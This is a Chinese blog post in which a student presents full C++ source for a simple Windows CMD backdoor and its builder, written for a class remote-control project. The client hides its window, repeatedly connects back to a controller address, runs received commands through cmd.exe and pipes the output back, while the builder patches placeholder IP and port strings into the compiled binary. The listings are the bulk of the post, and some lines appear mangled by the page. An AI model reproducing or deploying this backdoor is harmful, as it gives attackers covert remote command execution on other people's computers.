简单的单管道CMD后门

由于最近老师要求做一个小项目,我选择了做远控软件。

其中涉及到了后门的部分技术,我也在网上和图书馆找了很多的资料,马上就要接近尾声了。

碰巧昨天又有一场河南省的网络攻防大赛在我们学校举行,心想用自己做的工具是多么拉风的一件事!所以比赛前一天连夜做了个简单的cmd后门。(可惜的是,后门根本没有机会用,真是赔了夫人又折兵)

服务器端的核心代码是用我之前项目已经调试完成的类。

这款小后门也是参考了“VC驿站”论坛里的一个教程做的。不过现在才知道原来那个教程是他直搬一本黑客杂志的文章做的。哈哈

 

关于控制端(服务端)不多做介绍,我是用iocp模型实现的支持多用户上线。这个可以根据不同爱好有不同的做法。

 

废话就说到这里,下面进入正题

先说明一下思路

1.双方建立连接

2.

  1.  //创建管道,创建静听线程,一旦管道里有数据就将其发送到控制端
  2.     HANDLE hThreadOptProc; 
  3.     DWORD dwThreadId; 
  4.     CThreadNode tnOpt; 
  5.     tnOpt.sockAccept = sockSrv; 
  6.     tnOpt.hPipe = hPipeRead; 
  7.     hThreadOptProc = CreateThread(NULL, 0, ThreadOptProc, 
  8.         &tnOpt, 0, &dwThreadId); 

 

3.受控端接受控制端的命令字符串,将命令字符串作为新建cmd子进程的参数

4.子进程将数据写入管道中

5.管道监听函数检测到管道中存在数据就将其发送到控制端

  1. DWORD WINAPI ThreadOptProc(LPVOID lpParam) 
  2.     CThreadNode tnOpt = *(CThreadNode*)lpParam; 
  3.     DWORD dwTotalBytesAvail; 
  4.     LPVOID lpBuf = new TCHAR[MAXBUF]; 
  5.     DWORD dwReadedLen; 
  6.      
  7.     while (bExit == FALSE) 
  8.     { 
  9.         ZeroMemory(lpBuf, MAXBUF); 
  10.         if (PeekNamedPipe(tnOpt.hPipe, NULL, 0, NULL, &dwTotalBytesAvail, NULL) && dwTotalBytesAvail >0) 
  11.         { 
  12.             if(ReadFile(tnOpt.hPipe, lpBuf, MAXBUF, &dwReadedLen, NULL) && dwReadedLen > 0){ 
  13.                 SendData(tnOpt.sockAccept, lpBuf, dwReadedLen); 
  14.             }else
  15.                 continue
  16.             } 
  17.         } 
  18.         Sleep(100); 
  19.     } 
  20.     return 0; 
  21.  

完整代码如下

 

  
  
  
  
  1. //in file SinglePiperDoor.h
  2. #define WIN32_LEAN_AND_MEAN 
  3. #include <windows.h> 
  4. #include <WinSock2.h> 
  5. #pragma comment(lib, "ws2_32.lib") 
  6.  
  7. class CThreadNode 
  8. public
  9.     SOCKET sockAccept; 
  10.     HANDLE hPipe; 
  11.     CThreadNode() 
  12.     { 
  13.         sockAccept = NULL; 
  14.         hPipe = NULL; 
  15.     } 
  16. protected
  17. private
  18. }; 
  19.  
  
  
  
  
  1.  
  2. #include "SinglePipeDoor.h" 
  3. #include <tchar.h> 
  4. #define MAXBUF 1024 
  5. #include <atlstr.h> 
  6.  
  7. BOOL bExit = FALSE; 
  8. VOID ErrorOut(LPCSTR lpText, LPCSTR lpCaption) 
  9.     MessageBox(NULL, lpText, lpCaption, 0); 
  10.  
  11. BOOL SocketInit() 
  12.     WSADATA wsaData; 
  13.     WORD wVersionRequest = MAKEWORD(2,2); 
  14.     if (WSAStartup(wVersionRequest, &wsaData)) 
  15.     { 
  16.         return FALSE; 
  17.     } 
  18.     return TRUE; 
  19.  
  20. BOOL SendData(SOCKET sockAccept, LPVOID lpBuf, DWORD dwBufLen) 
  21.     int iOffSet = 0; 
  22.     int iSendLen; 
  23.     do  
  24.     { 
  25.         iSendLen = send(sockAccept, ((TCHAR*)lpBuf)+iOffSet, dwBufLen, 0); 
  26.         if (iSendLen >0 && iSendLen != SOCKET_ERROR) 
  27.         { 
  28.             dwBufLen -= iSendLen; 
  29.             iOffSet +=iSendLen; 
  30.         } 
  31.          
  32.     } while (dwBufLen >0); 
  33.     return TRUE; 
  34.  
  35. DWORD WINAPI ThreadOptProc(LPVOID lpParam) 
  36.     CThreadNode tnOpt = *(CThreadNode*)lpParam; 
  37.     DWORD dwTotalBytesAvail; 
  38.     LPVOID lpBuf = new TCHAR[MAXBUF]; 
  39.     DWORD dwReadedLen; 
  40.      
  41.     while (bExit == FALSE) 
  42.     { 
  43.         ZeroMemory(lpBuf, MAXBUF); 
  44.         if (PeekNamedPipe(tnOpt.hPipe, NULL, 0, NULL, &dwTotalBytesAvail, NULL) && dwTotalBytesAvail >0) 
  45.         { 
  46.             if(ReadFile(tnOpt.hPipe, lpBuf, MAXBUF, &dwReadedLen, NULL) && dwReadedLen > 0){ 
  47.                 SendData(tnOpt.sockAccept, lpBuf, dwReadedLen); 
  48.             }else
  49.                 continue
  50.             } 
  51.         } 
  52.         Sleep(100); 
  53.     } 
  54.     return 0; 
  55.  
  56. DWORD WINAPI ThreadPopMsgProc(LPVOID lpParam) 
  57.     CString strRecv = *(CString*)lpParam; 
  58.     MessageBox(NULL, strRecv.Mid(7), _T("友情提示"), IDOK); 
  59.     return 0; 
  60.  
  61. BOOL StartShell(UINT uPort) 
  62.     SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0); 
  63.     if (sockSrv == INVALID_SOCKET) 
  64.     { 
  65.         ErrorOut(_T("fail to create socket"), _T("shartshell")); 
  66.         return FALSE; 
  67.     } 
  68.  
  69.     sockaddr_in addrSrv; 
  70.     addrSrv.sin_family = AF_INET; 
  71. //这里用"AAAAAAAAAAAAAAAA"
  72. //做服务端ip地址是为了在以后用控制端生成受控端时可以方便地找到控制端IP在受控端中的位置
  73. //并加以修改(修改为真正的控制端IP)    
  74. char szAddr[100] = "AAAAAAAAAAAAAAAA"
  75.     addrSrv.sin_addr.S_un.S_addr = inet_addr(szAddr); 
  76.     addrSrv.sin_port = htons(uPort); 
  77.     int iRet = SOCKET_ERROR; 
  78.     do  
  79.     { 
  80.         iRet = connect(sockSrv, (sockaddr*)&addrSrv, sizeof(sockaddr_in)); 
  81.         Sleep(50); 
  82.     } while (SOCKET_ERROR == iRet); 
  83.      
  84.  
  85.     HANDLE hPipeRead, hPipeWrite; 
  86.     SECURITY_ATTRIBUTES sa={0}; 
  87.     sa.bInheritHandle = TRUE; 
  88.     sa.lpSecurityDescriptor = NULL; 
  89.     sa.nLength = sizeof(SECURITY_ATTRIBUTES); 
  90.     if (!CreatePipe(&hPipeRead, &hPipeWrite, &sa, 0)) 
  91.     { 
  92.         ErrorOut(_T("fail to createpipe"), _T("startshell")); 
  93.         closesocket(sockSrv); 
  94.  
  95.         return FALSE; 
  96.     } 
  97.  //创建管道,创建静听线程,一旦管道里有数据就将其发送到控制端
  98.     HANDLE hThreadOptProc; 
  99.     DWORD dwThreadId; 
  100.     CThreadNode tnOpt; 
  101.     tnOpt.sockAccept = sockSrv; 
  102.     tnOpt.hPipe = hPipeRead; 
  103.     hThreadOptProc = CreateThread(NULL, 0, ThreadOptProc, 
  104.         &tnOpt, 0, &dwThreadId); 
  105.  
  106.     int iRecvLen; 
  107.     TCHAR szRecvBuf[MAXBUF] = _T("\0"); 
  108.     TCHAR szCmdPath[100] = _T("\0"); 
  109.     TCHAR szCmdLine[300] = _T("\0"); 
  110.     GetSystemDirectory(szCmdPath, 100); 
  111.     _tcscat_s(szCmdPath, _T("\\cmd.exe")); 
  112.     CString strRecv; 
  113.     STARTUPINFO si={0}; 
  114.     si.cb = sizeof(STARTUPINFO); 
  115.     si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 
  116.     si.hStdOutput = si.hStdError = hPipeWrite; 
  117.     si.wShowWindow = SW_HIDE; 
  118.     PROCESS_INFORMATION pi; 
  119.  
  120.     while(bExit == FALSE) 
  121.     { 
  122.         ZeroMemory(szRecvBuf, MAXBUF); 
  123.         iRecvLen = recv(sockSrv, szRecvBuf, MAXBUF, 0); 
  124.         if (iRecvLen >0 && iRecvLen != SOCKET_ERROR) 
  125.         { 
  126.             strRecv.Empty(); 
  127.             strRecv = szRecvBuf; 
  128.  
  129. //如果接收的字符串咦"msgbox> "开头则用messagebox弹出其后的内容
  130.             if (0 == strRecv.Find(_T("msgbox> "))) 
  131.             { 
  132.                 CreateThread(NULL, 0, ThreadPopMsgProc, &strRecv, 0, NULL); 
  133.  
  134.             } 
  135.             else if (!strRecv.Compare(_T(":bye!\r\n"))) 
  136.             { 
  137.                 bExit = TRUE; 
  138.                 exit(0); 
  139.  
  140.             } 
  141.             else 
  142.             {  
  143.                 _tcscpy_s(szCmdLine, szCmdPath); 
  144.                 _tcscat_s(szCmdLine, _T(" /c ")); 
  145.                 _tcscat_s(szCmdLine, szRecvBuf); 
  146.             //  MessageBox(NULL, szCmdLine, NULL, 0); 
  147.                 if(!CreateProcess(NULL, szCmdLine, NULL, 
  148.                     NULL, TRUE, 0, NULL, NULL, &si, &pi)) 
  149.                 { 
  150.                 //  MessageBox(NULL, _T("error"), NULL, 0); 
  151.                     ZeroMemory(szRecvBuf, MAXBUF); 
  152.                     continue
  153.                 }else
  154.                     ZeroMemory(szRecvBuf, MAXBUF); 
  155.                 } 
  156.             } 
  157.         }else
  158.             bExit = TRUE; 
  159.             closesocket(sockSrv); 
  160.             break
  161.         } 
  162.     } 
  163.     WaitForSingleObject(hThreadOptProc, INFINITE); 
  164.     return TRUE; 
  165.  
  166. int APIENTRY WinMain( __in HINSTANCE hInstance, 
  167.                       __in_opt HINSTANCE hPrevInstance, 
  168.                       __in LPSTR lpCmdLine, 
  169.                       __in int nShowCmd ) 
  170.     while (TRUE) 
  171.     { 
  172.         bExit = FALSE; 
  173.         BOOL bRet = SocketInit(); 
  174.         if (bRet == FALSE) 
  175.         { 
  176.             ErrorOut(_T("fail to wsastartup"), _T("main")); 
  177.             return -1; 
  178.         } 
  179.  
  180. //"PPPPP"的用法目的跟以上介绍的“AAAAAAAAAAAA”的目的相同
  181.         char szPort[100] = "PPPPP"
  182.         unsigned short uPort; 
  183.         uPort = atoi(szPort); 
  184.         if (!StartShell(uPort)) 
  185.         { 
  186.             ErrorOut(_T("fail to startshell"), _T("main")); 
  187.             WSACleanup(); 
  188.             return FALSE; 
  189.         } 
  190.         WSACleanup(); 
  191.     } 
  192.  
  193.     return 0; 
  194.  

  
  
  
  
  1. //以下是用于生成受控端的代码
  2. //我的思路是,将编译连接好的受控端exe文件作为资源导入到控制端工程
  3. //然后再搜索其中的特定字符串将其代替为指定的IP和端口
  4. BOOL CDoorCtrlDlg::CreateClient(CString strFileName,  
  5.     CString strSrvAddr, USHORT uPort) 
  6.     if (strFileName.IsEmpty() || strSrvAddr.IsEmpty()|| 
  7.         uPort == 0) 
  8.     { 
  9.         return -1; 
  10.     } 
  11.     HRSRC hRes; 
  12.     hRes = FindResource(NULL, MAKEINTRESOURCE(IDR_EXE1), _T("EXE")); 
  13.     HGLOBAL hgRes = LoadResource(NULL, hRes); 
  14.     LPVOID pRes = LockResource(hgRes); 
  15.     DWORD dwSize = SizeofResource(NULL, hRes); 
  16.     char* pMem; 
  17.     pMem = (char*)malloc(dwSize+1); 
  18.     WriteProcessMemory(GetCurrentProcess(), (LPVOID)pMem, 
  19.         pRes, dwSize, NULL); 
  20.     char szPort[11] = "\0"
  21.     itoa(uPort, szPort, 10); 
  22.     char szSrcPort[100]="PPPPP"
  23.     if (FALSE == FindMem(pMem, dwSize, szSrcPort, szPort)) 
  24.     { 
  25.         MessageBox(_T("端口指针未知"),_T("客户端创建失败")); 
  26.         return FALSE; 
  27.     } 
  28.     char szSrcAddr[100]="AAAAAAAAAAAAAAAA"
  29.     char szAddr[100]; 
  30.     USES_CONVERSION; 
  31.     strcpy_s(szAddr, W2A(strSrvAddr)); 
  32.     if(FALSE == FindMem(pMem, dwSize, szSrcAddr, szAddr)) 
  33.     { 
  34.         MessageBox(_T("服务端地址指针未知"),_T("客户端创建失败")); 
  35.         return FALSE; 
  36.     } 
  37.     MessageBox(_T("信息更新成功")); 
  38.     HANDLE hFile; 
  39.     CHAR szFileName[100]="\0"
  40.     strcpy_s(szFileName, W2A(strFileName));  
  41.     hFile = CreateFile(A2W(szFileName), GENERIC_WRITE, 
  42.         NULL, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 
  43.     MessageBox(_T("文件创建")); 
  44.     DWORD dwWrite; 
  45.     WriteFile(hFile, (LPVOID)pMem, dwSize, &dwWrite, NULL); 
  46.     MessageBox(_T("写入成功")); 
  47.     CloseHandle(hFile); 
  48.     //GlobalFree(hgRes); 
  49.     MessageBox(_T("客户端生成成功")); 
  50.      
  51.     return TRUE; 
  52.  
  53.  
  54. BOOL CDoorCtrlDlg::FindMem(char *pMem /* 客户端文件在内存中的首地址*/
  55.     int nLen/* pMem 内存块大小*/,  
  56.     char *pSrc /* 客户端在内存中的端口所对应的内存*/,  
  57.     char *pDes/* 修改后的端口的新地址*/
  58.     char cSrc[100]="\0"
  59.     char cDes[100]="\0"
  60.     char *charg; 
  61.     BOOL bRst = FALSE; 
  62.     strcpy_s(cSrc, pSrc); 
  63.     strcpy_s(cDes, pDes); 
  64.     for (int i = 0; i<nLen; i++) 
  65.     { 
  66.         charg = pMem+i; 
  67.         if (strcmp(charg, cSrc) == 0) 
  68.         { 
  69.             if (WriteProcessMemory(GetCurrentProcess(), 
  70.                 (LPVOID)(pMem+i), cDes, strlen(cDes)+1,NULL)) 
  71.             { 
  72.                 bRst = TRUE; 
  73.             } 
  74.             break
  75.         } 
  76.          
  77.     } 
  78.     return bRst; 

 




 

 

你可能感兴趣的:(项目,管道,答疑,后门,网络攻防)